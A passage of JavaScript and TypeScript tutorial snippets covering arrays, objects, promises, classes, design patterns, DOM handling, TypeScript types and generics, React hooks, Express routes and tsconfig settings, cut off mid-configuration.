arr.shift();                 // Remove from start: 0
arr.splice(2, 1);            // Remove 1 element at index 2
arr.slice(1, 3);             // Extract [2, 3]

// Iteration methods
arr.forEach((item, index) => {
  console.log(index, item);
});

// Map (transform array)
const squares = arr.map(x => x * x);

// Filter (select elements)
const evens = arr.filter(x => x % 2 === 0);

// Reduce (aggregate)
const sum = arr.reduce((acc, val) => acc + val, 0);

// Find
const found = arr.find(x => x > 3);      // First element > 3
const foundIndex = arr.findIndex(x => x > 3);

// Some and Every
const hasEven = arr.some(x => x % 2 === 0);     // true if any even
const allEven = arr.every(x => x % 2 === 0);    // true if all even

// Sorting
arr.sort((a, b) => a - b);   // Ascending
arr.sort((a, b) => b - a);   // Descending

// Spread operator
const arr1 = [1, 2, 3];
const arr2 = [4, 5, 6];
const combined = [...arr1, ...arr2];  // [1, 2, 3, 4, 5, 6]

// Destructuring
const [first, second, ...rest] = [1, 2, 3, 4, 5];
// first = 1, second = 2, rest = [3, 4, 5]

// Creating objects
const person = {
  name: "Alice",
  age: 30,
  greet() {
    return `Hello, I'm ${this.name}`;
  }
};

// Accessing properties
person.name;           // "Alice"
person["age"];         // 30

// Adding/modifying properties
person.email = "alice@example.com";
person.age = 31;

// Deleting properties
delete person.email;

// Object methods
Object.keys(person);       // ["name", "age", "greet"]
Object.values(person);     // ["Alice", 31, function]
Object.entries(person);    // [["name", "Alice"], ["age", 31], ...]

// Spread operator
const person2 = { ...person, city: "NYC" };

// Destructuring
const { name, age } = person;
const { name: personName, age: personAge } = person;  // Rename

// Computed property names
const key = "dynamicKey";
const obj = {
  [key]: "value"
};

// Object shorthand (ES6)
const name = "Bob";
const age = 25;
const user = { name, age };  // Same as { name: name, age: age }

// Object.assign (merge objects)
const merged = Object.assign({}, person, { city: "NYC" });

// Freeze object (immutable)
Object.freeze(person);

// Traditional function
function greet(name) {
  return `Hello, ${name}!`;
}

// Function with default parameters
function greet(name = "World") {
  return `Hello, ${name}!`;
}

// Rest parameters
function sum(...numbers) {
  return numbers.reduce((acc, val) => acc + val, 0);
}

sum(1, 2, 3, 4, 5);  // 15

// Anonymous function
const greet = function(name) {
  return `Hello, ${name}!`;
};

// Named function expression
const factorial = function fact(n) {
  return n <= 1 ? 1 : n * fact(n - 1);
};

// Basic arrow function
const greet = (name) => {
  return `Hello, ${name}!`;
};

// Implicit return (single expression)
const greet = name => `Hello, ${name}!`;

// No parameters
const sayHello = () => "Hello!";

// Multiple parameters
const add = (a, b) => a + b;

// Arrow functions and 'this'
const person = {
  name: "Alice",
  greet: function() {
    setTimeout(() => {
      console.log(`Hello, ${this.name}`);  // 'this' refers to person
    }, 1000);
  }
};

// Function that returns a function
function multiplier(factor) {
  return function(number) {
    return number * factor;
  };
}

const double = multiplier(2);
console.log(double(5));  // 10

// Function that takes a function as argument
function applyOperation(arr, operation) {
  return arr.map(operation);
}

const numbers = [1, 2, 3, 4, 5];
const squared = applyOperation(numbers, x => x * x);

function createCounter() {
  let count = 0;
  return {
    increment() {
      return ++count;
    },
    decrement() {
      return --count;
    },
    getCount() {
      return count;
    }
  };
}

const counter = createCounter();
counter.increment();  // 1
counter.increment();  // 2
counter.getCount();   // 2

// Traditional callback pattern
function fetchData(callback) {
  setTimeout(() => {
    callback("Data loaded");
  }, 1000);
}

fetchData((data) => {
  console.log(data);
});

// Callback hell (pyramid of doom)
getData1((data1) => {
  getData2(data1, (data2) => {
    getData3(data2, (data3) => {
      console.log(data3);
    });
  });
});

// Creating a promise
const promise = new Promise((resolve, reject) => {
  setTimeout(() => {
    const success = true;
    if (success) {
      resolve("Data loaded");
    } else {
      reject("Error occurred");
    }
  }, 1000);
});

// Consuming a promise
promise
  .then(data => {
    console.log(data);
    return "Next data";
  })
  .then(nextData => {
    console.log(nextData);
  })
  .catch(error => {
    console.error(error);
  })
  .finally(() => {
    console.log("Cleanup");
  });

// Promise chaining
fetch('https://api.example.com/data')
  .then(response => response.json())
  .then(data => console.log(data))
  .catch(error => console.error(error));

// Promise.all (wait for all promises)
Promise.all([promise1, promise2, promise3])
  .then(([result1, result2, result3]) => {
    console.log(result1, result2, result3);
  });

// Promise.race (first to complete)
Promise.race([promise1, promise2])
  .then(result => console.log(result));

// Promise.allSettled (wait for all, regardless of result)
Promise.allSettled([promise1, promise2])
  .then(results => console.log(results));

// Async function
async function fetchData() {
  try {
    const response = await fetch('https://api.example.com/data');
    const data = await response.json();
    console.log(data);
    return data;
  } catch (error) {
    console.error('Error:', error);
  }
}

// Sequential execution
async function sequential() {
  const data1 = await fetchData1();
  const data2 = await fetchData2(data1);
  const data3 = await fetchData3(data2);
  return data3;
}

// Parallel execution
async function parallel() {
  const [data1, data2, data3] = await Promise.all([
    fetchData1(),
    fetchData2(),
    fetchData3()
  ]);
  return { data1, data2, data3 };
}

// Top-level await (ES2022)
const data = await fetchData();

// Basic class
class Person {
  constructor(name, age) {
    this.name = name;
    this.age = age;
  }

  greet() {
    return `Hello, I'm ${this.name}`;
  }

  // Static method
  static species() {
    return "Homo sapiens";
  }

  // Getter
  get info() {
    return `${this.name}, ${this.age}`;
  }

  // Setter
  set info(value) {
    const [name, age] = value.split(', ');
    this.name = name;
    this.age = parseInt(age);
  }
}

const person = new Person("Alice", 30);
console.log(person.greet());
console.log(Person.species());

class Animal {
  constructor(name) {
    this.name = name;
  }

  speak() {
    return `${this.name} makes a sound`;
  }
}

class Dog extends Animal {
  constructor(name, breed) {
    super(name);  // Call parent constructor
    this.breed = breed;
  }

  speak() {
    return `${this.name} barks`;
  }

  fetch() {
    return `${this.name} is fetching`;
  }
}

const dog = new Dog("Buddy", "Golden Retriever");
console.log(dog.speak());   // "Buddy barks"
console.log(dog.fetch());   // "Buddy is fetching"

class BankAccount {
  #balance = 0;  // Private field

  deposit(amount) {
    this.#balance += amount;
  }

  withdraw(amount) {
    if (amount <= this.#balance) {
      this.#balance -= amount;
      return amount;
    }
    return 0;
  }

  getBalance() {
    return this.#balance;
  }
}

const account = new BankAccount();
account.deposit(100);
console.log(account.getBalance());  // 100
// console.log(account.#balance);   // SyntaxError

const MyModule = (function() {
  // Private variables
  let privateVar = "I'm private";

  // Private function
  function privateFunction() {
    return "Private function called";
  }

  // Public API
  return {
    publicVar: "I'm public",
    publicFunction() {
      return privateFunction();
    },
    getPrivateVar() {
      return privateVar;
    }
  };
})();

console.log(MyModule.publicVar);
console.log(MyModule.publicFunction());

const Calculator = (function() {
  let result = 0;

  function add(x) {
    result += x;
    return this;
  }

  function subtract(x) {
    result -= x;
    return this;
  }

  function getResult() {
    return result;
  }

  function reset() {
    result = 0;
    return this;
  }

  return {
    add,
    subtract,
    getResult,
    reset
  };
})();

Calculator.add(5).add(3).subtract(2);
console.log(Calculator.getResult());  // 6

const Singleton = (function() {
  let instance;

  function createInstance() {
    return {
      name: "Singleton",
      getData() {
        return "Data from singleton";
      }
    };
  }

  return {
    getInstance() {
      if (!instance) {
        instance = createInstance();
      }
      return instance;
    }
  };
})();

const instance1 = Singleton.getInstance();
const instance2 = Singleton.getInstance();
console.log(instance1 === instance2);  // true

class Car {
  constructor(options) {
    this.doors = options.doors || 4;
    this.state = options.state || "brand new";
    this.color = options.color || "silver";
  }
}

class Truck {
  constructor(options) {
    this.wheels = options.wheels || 6;
    this.state = options.state || "used";
    this.color = options.color || "blue";
  }
}

class VehicleFactory {
  createVehicle(type, options) {
    switch(type) {
      case 'car':
        return new Car(options);
      case 'truck':
        return new Truck(options);
      default:
        throw new Error('Unknown vehicle type');
    }
  }
}

const factory = new VehicleFactory();
const car = factory.createVehicle('car', { color: 'red' });
const truck = factory.createVehicle('truck', { wheels: 8 });

class Subject {
  constructor() {
    this.observers = [];
  }

  subscribe(observer) {
    this.observers.push(observer);
  }

  unsubscribe(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }

  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  constructor(name) {
    this.name = name;
  }

  update(data) {
    console.log(`${this.name} received: ${data}`);
  }
}

const subject = new Subject();
const observer1 = new Observer('Observer 1');
const observer2 = new Observer('Observer 2');

subject.subscribe(observer1);
subject.subscribe(observer2);
subject.notify('Event occurred!');

// Selecting elements
const element = document.getElementById('myId');
const elements = document.getElementsByClassName('myClass');
const element = document.querySelector('.myClass');
const elements = document.querySelectorAll('.myClass');

// Creating elements
const div = document.createElement('div');
div.textContent = 'Hello World';
div.className = 'my-class';
div.id = 'my-id';

// Appending elements
document.body.appendChild(div);
parentElement.insertBefore(newElement, referenceElement);

// Modifying content
element.textContent = 'New text';
element.innerHTML = '<strong>Bold text</strong>';

// Modifying attributes
element.setAttribute('data-id', '123');
element.getAttribute('data-id');
element.removeAttribute('data-id');

// Modifying styles
element.style.color = 'red';
element.style.fontSize = '20px';

// Adding/removing classes
element.classList.add('active');
element.classList.remove('inactive');
element.classList.toggle('visible');
element.classList.contains('active');

// Event listeners
element.addEventListener('click', (event) => {
  console.log('Element clicked!', event);
});

element.addEventListener('click', handleClick);
element.removeEventListener('click', handleClick);

// Event delegation
document.addEventListener('click', (event) => {
  if (event.target.matches('.my-button')) {
    console.log('Button clicked!');
  }
});

// Preventing default behavior
form.addEventListener('submit', (event) => {
  event.preventDefault();
  // Handle form submission
});

// Array destructuring
const [a, b, c] = [1, 2, 3];
const [first, , third] = [1, 2, 3];
const [head, ...tail] = [1, 2, 3, 4, 5];

// Object destructuring
const { name, age } = { name: 'Alice', age: 30 };
const { name: personName } = { name: 'Alice' };  // Rename
const { name, age = 25 } = { name: 'Alice' };    // Default value

// Nested destructuring
const { address: { city, country } } = person;

// Function parameter destructuring
function greet({ name, age }) {
  return `Hello ${name}, you are ${age} years old`;
}

// Spread in arrays
const arr1 = [1, 2, 3];
const arr2 = [...arr1, 4, 5, 6];

// Spread in objects
const obj1 = { a: 1, b: 2 };
const obj2 = { ...obj1, c: 3 };

// Rest in function parameters
function sum(...numbers) {
  return numbers.reduce((acc, val) => acc + val, 0);
}

// Rest in destructuring
const [first, ...rest] = [1, 2, 3, 4, 5];

const user = {
  name: 'Alice',
  address: {
    city: 'NYC'
  }
};

// Without optional chaining
const city = user && user.address && user.address.city;

// With optional chaining
const city = user?.address?.city;
const fn = obj?.method?.();  // Call method if exists

// Returns right operand when left is null or undefined
const value = null ?? 'default';        // 'default'
const value = undefined ?? 'default';   // 'default'
const value = 0 ?? 'default';           // 0
const value = '' ?? 'default';          // ''

// Compare with || operator
const value = 0 || 'default';           // 'default'
const value = '' || 'default';          // 'default'

// Try-catch
try {
  throw new Error('Something went wrong');
} catch (error) {
  console.error(error.message);
} finally {
  console.log('Cleanup');
}

// Custom errors
class ValidationError extends Error {
  constructor(message) {
    super(message);
    this.name = 'ValidationError';
  }
}

try {
  throw new ValidationError('Invalid input');
} catch (error) {
  if (error instanceof ValidationError) {
    console.error('Validation error:', error.message);
  } else {
    throw error;  // Re-throw unknown errors
  }
}

// Error handling with async/await
async function fetchData() {
  try {
    const response = await fetch('/api/data');
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    return await response.json();
  } catch (error) {
    console.error('Fetch error:', error);
    throw error;
  }
}

const numbers = [1, 2, 3, 4, 5];

// map - transform each element
const doubled = numbers.map(n => n * 2);

// filter - select elements
const evens = numbers.filter(n => n % 2 === 0);

// reduce - aggregate
const sum = numbers.reduce((acc, n) => acc + n, 0);

// find - first matching element
const found = numbers.find(n => n > 3);

// findIndex - index of first match
const index = numbers.findIndex(n => n > 3);

// some - at least one matches
const hasEven = numbers.some(n => n % 2 === 0);

// every - all match
const allPositive = numbers.every(n => n > 0);

// flat - flatten nested arrays
const nested = [1, [2, 3], [4, [5, 6]]];
const flat = nested.flat(2);  // [1, 2, 3, 4, 5, 6]

// flatMap - map then flatten
const words = ['hello world', 'foo bar'];
const letters = words.flatMap(w => w.split(' '));

// Boolean
let isDone: boolean = false;

// Number
let decimal: number = 6;
let hex: number = 0xf00d;
let binary: number = 0b1010;
let octal: number = 0o744;

// String
let color: string = "blue";
let fullName: string = `Bob Bobbington`;
let sentence: string = `Hello, my name is ${fullName}.`;

// Array
let list: number[] = [1, 2, 3];
let list2: Array<number> = [1, 2, 3]; // Generic syntax

// Tuple - fixed-length array with known types
let x: [string, number];
x = ["hello", 10]; // OK
// x = [10, "hello"]; // Error

// Enum
enum Color {
  Red,
  Green,
  Blue,
}
let c: Color = Color.Green;

// Any - opt-out of type checking
let notSure: any = 4;
notSure = "maybe a string instead";
notSure = false; // OK

// Unknown - type-safe alternative to any
let userInput: unknown;
userInput = 5;
userInput = "hello";
// let str: string = userInput; // Error
if (typeof userInput === "string") {
  let str: string = userInput; // OK
}

// Void - absence of any type (typically for functions)
function warnUser(): void {
  console.log("This is a warning message");
}

// Null and Undefined
let u: undefined = undefined;
let n: null = null;

// Never - represents values that never occur
function error(message: string): never {
  throw new Error(message);
}

function infiniteLoop(): never {
  while (true) {}
}

interface User {
  id: number;
  name: string;
  email: string;
  age?: number; // Optional property
  readonly createdAt: Date; // Read-only property
}

const user: User = {
  id: 1,
  name: "John Doe",
  email: "john@example.com",
  createdAt: new Date(),
};

// user.createdAt = new Date(); // Error: Cannot assign to 'createdAt'

interface SearchFunc {
  (source: string, subString: string): boolean;
}

const mySearch: SearchFunc = (source, subString) => {
  return source.includes(subString);
};

interface StringArray {
  [index: number]: string;
}

let myArray: StringArray = ["Bob", "Fred"];
let myStr: string = myArray[0];

interface NumberDictionary {
  [key: string]: number;
}

let dict: NumberDictionary = {
  age: 25,
  height: 180,
};

interface Shape {
  color: string;
}

interface Square extends Shape {
  sideLength: number;
}

let square: Square = {
  color: "blue",
  sideLength: 10,
};

// Multiple inheritance
interface PenStroke {
  penWidth: number;
}

interface FilledSquare extends Square, PenStroke {
  filled: boolean;
}

interface ClockInterface {
  currentTime: Date;
  setTime(d: Date): void;
}

class Clock implements ClockInterface {
  currentTime: Date = new Date();

  setTime(d: Date): void {
    this.currentTime = d;
  }
}

// Basic type alias
type ID = string | number;

type Point = {
  x: number;
  y: number;
};

// Union type
type Result = Success | Failure;

type Success = {
  status: "success";
  data: any;
};

type Failure = {
  status: "error";
  error: string;
};

// Function type
type GreetFunction = (name: string) => string;

const greet: GreetFunction = (name) => `Hello, ${name}!`;

// Intersection type
type Admin = {
  privileges: string[];
};

type Employee = {
  name: string;
  startDate: Date;
};

type AdminEmployee = Admin & Employee;

const ae: AdminEmployee = {
  privileges: ["create-server"],
  name: "Max",
  startDate: new Date(),
};

// Interfaces can be merged (declaration merging)
interface Window {
  title: string;
}

interface Window {
  ts: number;
}

// Type aliases cannot be merged
// type Window = { title: string };
// type Window = { ts: number }; // Error: Duplicate identifier

// Type aliases can represent unions and tuples
type StringOrNumber = string | number;
type Tuple = [string, number];

// Both can be extended
interface Shape {
  color: string;
}

// Interface extending interface
interface Circle extends Shape {
  radius: number;
}

// Type extending type
type ColoredShape = Shape & { filled: boolean };

// Type extending interface
type ColoredCircle = Circle & { filled: boolean };

// Interface extending type
type Size = { width: number; height: number };
interface Rectangle extends Size {
  color: string;
}

function printId(id: number | string) {
  console.log("Your ID is: " + id);
}

printId(101); // OK
printId("202"); // OK
// printId({ myID: 22342 }); // Error

// Discriminated Unions (Tagged Unions)
type Shape =
  | { kind: "circle"; radius: number }
  | { kind: "square"; sideLength: number }
  | { kind: "rectangle"; width: number; height: number };

function getArea(shape: Shape): number {
  switch (shape.kind) {
    case "circle":
      return Math.PI * shape.radius ** 2;
    case "square":
      return shape.sideLength ** 2;
    case "rectangle":
      return shape.width * shape.height;
  }
}

interface Colorful {
  color: string;
}

interface Circle {
  radius: number;
}

type ColorfulCircle = Colorful & Circle;

const cc: ColorfulCircle = {
  color: "red",
  radius: 42,
};

function identity<T>(arg: T): T {
  return arg;
}

let output1 = identity<string>("myString");
let output2 = identity<number>(123);
let output3 = identity("myString"); // Type inference

// Generic with constraints
interface Lengthwise {
  length: number;
}

function loggingIdentity<T extends Lengthwise>(arg: T): T {
  console.log(arg.length);
  return arg;
}

loggingIdentity({ length: 10, value: 3 }); // OK
loggingIdentity([1, 2, 3]); // OK
// loggingIdentity(3); // Error: number doesn't have length

interface GenericIdentityFn<T> {
  (arg: T): T;
}

let myIdentity: GenericIdentityFn<number> = identity;

// Generic container
interface Container<T> {
  value: T;
  getValue(): T;
  setValue(value: T): void;
}

class Box<T> implements Container<T> {
  constructor(public value: T) {}

  getValue(): T {
    return this.value;
  }

  setValue(value: T): void {
    this.value = value;
  }
}

const numberBox = new Box<number>(42);
const stringBox = new Box<string>("hello");

class GenericNumber<T> {
  zeroValue: T;
  add: (x: T, y: T) => T;
}

let myGenericNumber = new GenericNumber<number>();
myGenericNumber.zeroValue = 0;
myGenericNumber.add = (x, y) => x + y;

let stringNumeric = new GenericNumber<string>();
stringNumeric.zeroValue = "";
stringNumeric.add = (x, y) => x + y;

function getProperty<T, K extends keyof T>(obj: T, key: K): T[K] {
  return obj[key];
}

let x = { a: 1, b: 2, c: 3, d: 4 };

getProperty(x, "a"); // OK
// getProperty(x, "m"); // Error: "m" is not in 'a' | 'b' | 'c' | 'd'

// Generic type with default
type APIResponse<T = any> = {
  data: T;
  status: number;
  message: string;
};

// Multiple type parameters
function merge<T, U>(obj1: T, obj2: U): T & U {
  return { ...obj1, ...obj2 };
}

const merged = merge({ name: "John" }, { age: 30 });
// merged: { name: string } & { age: number }

// Conditional types with generics
type NonNullable<T> = T extends null | undefined ? never : T;

type A = NonNullable<string | null>; // string
type B = NonNullable<number | undefined>; // number

class Greeter {
  greeting: string;

  constructor(message: string) {
    this.greeting = message;
  }

  greet(): string {
    return `Hello, ${this.greeting}`;
  }
}

let greeter = new Greeter("world");

class Animal {
  name: string;

  constructor(name: string) {
    this.name = name;
  }

  move(distanceInMeters: number = 0): void {
    console.log(`${this.name} moved ${distanceInMeters}m.`);
  }
}

class Dog extends Animal {
  bark(): void {
    console.log("Woof! Woof!");
  }
}

const dog = new Dog("Buddy");
dog.bark();
dog.move(10);

class Person {
  public name: string; // Public by default
  private age: number; // Only accessible within the class
  protected email: string; // Accessible in class and subclasses
  readonly id: number; // Cannot be modified after initialization

  constructor(name: string, age: number, email: string, id: number) {
    this.name = name;
    this.age = age;
    this.email = email;
    this.id = id;
  }

  getAge(): number {
    return this.age;
  }
}

class Employee extends Person {
  constructor(name: string, age: number, email: string, id: number) {
    super(name, age, email, id);
  }

  getEmail(): string {
    return this.email; // OK: protected is accessible in subclass
  }
}

const person = new Person("John", 30, "john@example.com", 1);
console.log(person.name); // OK
// console.log(person.age); // Error: private
// console.log(person.email); // Error: protected

class Employee {
  private _fullName: string = "";

  get fullName(): string {
    return this._fullName;
  }

  set fullName(newName: string) {
    if (newName && newName.length > 0) {
      this._fullName = newName;
    } else {
      throw new Error("Invalid name");
    }
  }
}

let employee = new Employee();
employee.fullName = "Bob Smith";
console.log(employee.fullName);

abstract class Department {
  constructor(public name: string) {}

  printName(): void {
    console.log("Department name: " + this.name);
  }

  abstract printMeeting(): void; // Must be implemented in derived class
}

class AccountingDepartment extends Department {
  constructor() {
    super("Accounting and Auditing");
  }

  printMeeting(): void {
    console.log("The Accounting Department meets each Monday at 10am.");
  }

  generateReports(): void {
    console.log("Generating accounting reports...");
  }
}

let department: Department = new AccountingDepartment();
department.printName();
department.printMeeting();
// department.generateReports(); // Error: method doesn't exist on Department

class Grid {
  static origin = { x: 0, y: 0 };

  calculateDistanceFromOrigin(point: { x: number; y: number }): number {
    let xDist = point.x - Grid.origin.x;
    let yDist = point.y - Grid.origin.y;
    return Math.sqrt(xDist * xDist + yDist * yDist);
  }
}

console.log(Grid.origin);
let grid = new Grid();

enum Direction {
  Up = 1,
  Down,
  Left,
  Right,
}

// Starts from 1 and auto-increments
console.log(Direction.Up); // 1
console.log(Direction.Down); // 2

enum Response {
  No = 0,
  Yes = 1,
}

function respond(recipient: string, message: Response): void {
  // ...
}

respond("Princess Caroline", Response.Yes);

enum Direction {
  Up = "UP",
  Down = "DOWN",
  Left = "LEFT",
  Right = "RIGHT",
}

console.log(Direction.Up); // "UP"

const enum Enum {
  A = 1,
  B = A * 2,
}

// Compiled code is inlined (better performance)
let value = Enum.B; // Becomes: let value = 2;

enum Status {
  Active,
  Inactive,
  Pending,
}

interface User {
  name: string;
  status: Status;
}

const user: User = {
  name: "John",
  status: Status.Active,
};

// Angle-bracket syntax
let someValue: any = "this is a string";
let strLength: number = (<string>someValue).length;

// As syntax (preferred in JSX/TSX)
let someValue2: any = "this is a string";
let strLength2: number = (someValue2 as string).length;

// Non-null assertion operator
function liveDangerously(x?: number | null) {
  // TypeScript will trust that x is not null/undefined
  console.log(x!.toFixed());
}

// Const assertions
let x = "hello" as const; // Type: "hello" (not string)

let y = [10, 20] as const; // Type: readonly [10, 20]

let z = {
  name: "John",
  age: 30,
} as const; // All properties are readonly

function padLeft(value: string, padding: string | number) {
  if (typeof padding === "number") {
    return Array(padding + 1).join(" ") + value;
  }
  if (typeof padding === "string") {
    return padding + value;
  }
  throw new Error(`Expected string or number, got '${typeof padding}'.`);
}

class Bird {
  fly() {
    console.log("Flying");
  }
}

class Fish {
  swim() {
    console.log("Swimming");
  }
}

function move(animal: Bird | Fish) {
  if (animal instanceof Bird) {
    animal.fly();
  } else {
    animal.swim();
  }
}

type Fish = { swim: () => void };
type Bird = { fly: () => void };

function move(animal: Fish | Bird) {
  if ("swim" in animal) {
    animal.swim();
  } else {
    animal.fly();
  }
}

interface Cat {
  meow(): void;
}

interface Dog {
  bark(): void;
}

function isCat(pet: Cat | Dog): pet is Cat {
  return (pet as Cat).meow !== undefined;
}

function makeSound(pet: Cat | Dog) {
  if (isCat(pet)) {
    pet.meow();
  } else {
    pet.bark();
  }
}

interface User {
  id: number;
  name: string;
  email: string;
}

function updateUser(user: User, updates: Partial<User>): User {
  return { ...user, ...updates };
}

const user: User = { id: 1, name: "John", email: "john@example.com" };
const updated = updateUser(user, { name: "Jane" });

interface Props {
  a?: number;
  b?: string;
}

const obj: Required<Props> = { a: 5, b: "text" };

interface User {
  name: string;
  age: number;
}

const user: Readonly<User> = {
  name: "John",
  age: 30,
};

// user.name = "Jane"; // Error: Cannot assign to 'name'

interface User {
  id: number;
  name: string;
  email: string;
  age: number;
}

type UserPreview = Pick<User, "id" | "name">;
// { id: number; name: string; }

const preview: UserPreview = { id: 1, name: "John" };

interface User {
  id: number;
  name: string;
  email: string;
  password: string;
}

type UserPublic = Omit<User, "password">;
// { id: number; name: string; email: string; }

type PageInfo = {
  title: string;
  url: string;
};

type Page = "home" | "about" | "contact";

const pages: Record<Page, PageInfo> = {
  home: { title: "Home", url: "/" },
  about: { title: "About", url: "/about" },
  contact: { title: "Contact", url: "/contact" },
};

type T0 = Exclude<"a" | "b" | "c", "a">; // "b" | "c"
type T1 = Exclude<string | number | (() => void), Function>; // string | number

type T2 = Extract<"a" | "b" | "c", "a" | "f">; // "a"
type T3 = Extract<string | number | (() => void), Function>; // () => void

function getUser() {
  return { id: 1, name: "John", email: "john@example.com" };
}

type User = ReturnType<typeof getUser>;
// { id: number; name: string; email: string; }

function createUser(name: string, age: number, email: string) {
  return { name, age, email };
}

type CreateUserParams = Parameters<typeof createUser>;
// [name: string, age: number, email: string]

import React from "react";

// Props interface
interface ButtonProps {
  label: string;
  onClick: () => void;
  disabled?: boolean;
  variant?: "primary" | "secondary";
}

// Functional component
const Button: React.FC<ButtonProps> = ({
  label,
  onClick,
  disabled = false,
  variant = "primary",
}) => {
  return (
    <button onClick={onClick} disabled={disabled} className={variant}>
      {label}
    </button>
  );
};

// Alternative (recommended in modern React)
function Button2(props: ButtonProps) {
  return <button {...props}>{props.label}</button>;
}

export default Button;

interface CardProps {
  title: string;
  children: React.ReactNode;
}

const Card: React.FC<CardProps> = ({ title, children }) => {
  return (
    <div className="card">
      <h2>{title}</h2>
      <div className="card-body">{children}</div>
    </div>
  );
};

import { useState } from "react";

interface User {
  id: number;
  name: string;
}

function UserComponent() {
  // Type inference
  const [count, setCount] = useState(0);

  // Explicit type
  const [user, setUser] = useState<User | null>(null);

  // With initial state
  const [users, setUsers] = useState<User[]>([]);

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={() => setCount(count + 1)}>Increment</button>
    </div>
  );
}

import { useEffect, useState } from "react";

function DataFetcher() {
  const [data, setData] = useState<any>(null);

  useEffect(() => {
    async function fetchData() {
      const response = await fetch("/api/data");
      const result = await response.json();
      setData(result);
    }

    fetchData();
  }, []); // Empty dependency array

  return <div>{data ? JSON.stringify(data) : "Loading..."}</div>;
}

import { useRef, useEffect } from "react";

function TextInput() {
  const inputRef = useRef<HTMLInputElement>(null);

  useEffect(() => {
    inputRef.current?.focus();
  }, []);

  return <input ref={inputRef} type="text" />;
}

import { createContext, useContext, useState } from "react";

interface AuthContextType {
  user: User | null;
  login: (user: User) => void;
  logout: () => void;
}

const AuthContext = createContext<AuthContextType | undefined>(undefined);

export const AuthProvider: React.FC<{ children: React.ReactNode }> = ({
  children,
}) => {
  const [user, setUser] = useState<User | null>(null);

  const login = (user: User) => setUser(user);
  const logout = () => setUser(null);

  return (
    <AuthContext.Provider value={{ user, login, logout }}>
      {children}
    </AuthContext.Provider>
  );
};

export const useAuth = () => {
  const context = useContext(AuthContext);
  if (context === undefined) {
    throw new Error("useAuth must be used within AuthProvider");
  }
  return context;
};

import { useState, useEffect } from "react";

function useFetch<T>(url: string) {
  const [data, setData] = useState<T | null>(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState<Error | null>(null);

  useEffect(() => {
    async function fetchData() {
      try {
        const response = await fetch(url);
        const result = await response.json();
        setData(result);
      } catch (err) {
        setError(err as Error);
      } finally {
        setLoading(false);
      }
    }

    fetchData();
  }, [url]);

  return { data, loading, error };
}

// Usage
interface User {
  id: number;
  name: string;
}

function UserList() {
  const { data: users, loading, error } = useFetch<User[]>("/api/users");

  if (loading) return <div>Loading...</div>;
  if (error) return <div>Error: {error.message}</div>;

  return (
    <ul>
      {users?.map((user) => (
        <li key={user.id}>{user.name}</li>
      ))}
    </ul>
  );
}

import React from "react";

function Form() {
  const handleSubmit = (e: React.FormEvent<HTMLFormElement>) => {
    e.preventDefault();
    // Handle form submission
  };

  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
    console.log(e.target.value);
  };

  const handleClick = (e: React.MouseEvent<HTMLButtonElement>) => {
    console.log("Button clicked");
  };

  return (
    <form onSubmit={handleSubmit}>
      <input type="text" onChange={handleChange} />
      <button onClick={handleClick}>Submit</button>
    </form>
  );
}

import express, { Request, Response, NextFunction } from "express";

const app = express();
const PORT = 3000;

app.use(express.json());

// Basic route
app.get("/", (req: Request, res: Response) => {
  res.json({ message: "Hello World" });
});

// Route with params
app.get("/users/:id", (req: Request, res: Response) => {
  const userId = req.params.id;
  res.json({ id: userId });
});

// POST route with body
interface CreateUserBody {
  name: string;
  email: string;
}

app.post("/users", (req: Request<{}, {}, CreateUserBody>, res: Response) => {
  const { name, email } = req.body;
  res.json({ id: 1, name, email });
});

// Middleware
const logger = (req: Request, res: Response, next: NextFunction) => {
  console.log(`${req.method} ${req.path}`);
  next();
};

app.use(logger);

// Error handling middleware
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  console.error(err.stack);
  res.status(500).json({ error: err.message });
});

app.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
});

import { Request } from "express";

interface UserRequest extends Request {
  user?: {
    id: number;
    email: string;
  };
}

app.get("/profile", (req: UserRequest, res: Response) => {
  if (!req.user) {
    return res.status(401).json({ error: "Unauthorized" });
  }
  res.json(req.user);
});

import { Request, Response } from "express";

// Wrapper for async route handlers
const asyncHandler =
  (fn: Function) => (req: Request, res: Response, next: NextFunction) => {
    Promise.resolve(fn(req, res, next)).catch(next);
  };

app.get(
  "/users",
  asyncHandler(async (req: Request, res: Response) => {
    const users = await getUsersFromDB();
    res.json(users);
  })
);

import * as fs from "fs/promises";
import * as path from "path";

async function readConfig(): Promise<any> {
  try {
    const configPath = path.join(__dirname, "config.json");
    const data = await fs.readFile(configPath, "utf-8");
    return JSON.parse(data);
  } catch (error) {
    console.error("Error reading config:", error);
    throw error;
  }
}

async function writeLog(message: string): Promise<void> {
  const logPath = path.join(__dirname, "app.log");
  const timestamp = new Date().toISOString();
  const logEntry = `[${timestamp}] ${message}\n`;
  await fs.appendFile(logPath, logEntry);
}

{
  "compilerOptions": {
    "target": "ES2020",
    "module": "commonjs",
    "lib": ["ES2020"],
    "outDir": "./dist",
    "rootDir": "./src",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true,
    "forceConsistentCasingInFileNames": true,
    "resolveJsonModule": true,
    "moduleResolution": "node",
    "declaration": true,
    "declarationMap": true,
    "sourceMap": true
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules", "dist"]
}

{
  "compilerOptions": {
    "strict": true,               // Enable all strict type checking
    "noImplicitAny": true,        // Error on expressions with implied 'any'
    "strictNullChecks": true,     // Enable strict null checks
    "strictFunctionTypes": true,  // Enable strict checking of function types
    "strictBindCallApply": true,  // Enable strict bind/call/apply methods
    "strictPropertyInitialization": true, // Ensure properties are initialized
    "noImplicitThis": true,       // Error on 'this' expressions with implied 'any'
    "alwaysStrict": true          // Parse in strict mode and emit "use strict"
  }
}

{
  "compilerOptions": {
    "module": "commonjs",         // Module code generation
    "moduleResolution": "node",   // Module resolution strategy
    "baseUrl": "./",              // Base directory for module resolution
    "paths": {                    // Path mappings
      "@/*": ["src/*"],
      "@components/*": ["src/components/*"]
    },
    "esModuleInterop": true,      // Emit helpers for importing CommonJS modules
    "allowSyntheticDefaultImports": true  // Allow default imports from modules
  }
}

{
  "compilerOptions": {
    "jsx": "react-jsx",           // JSX code generation (React 17+)
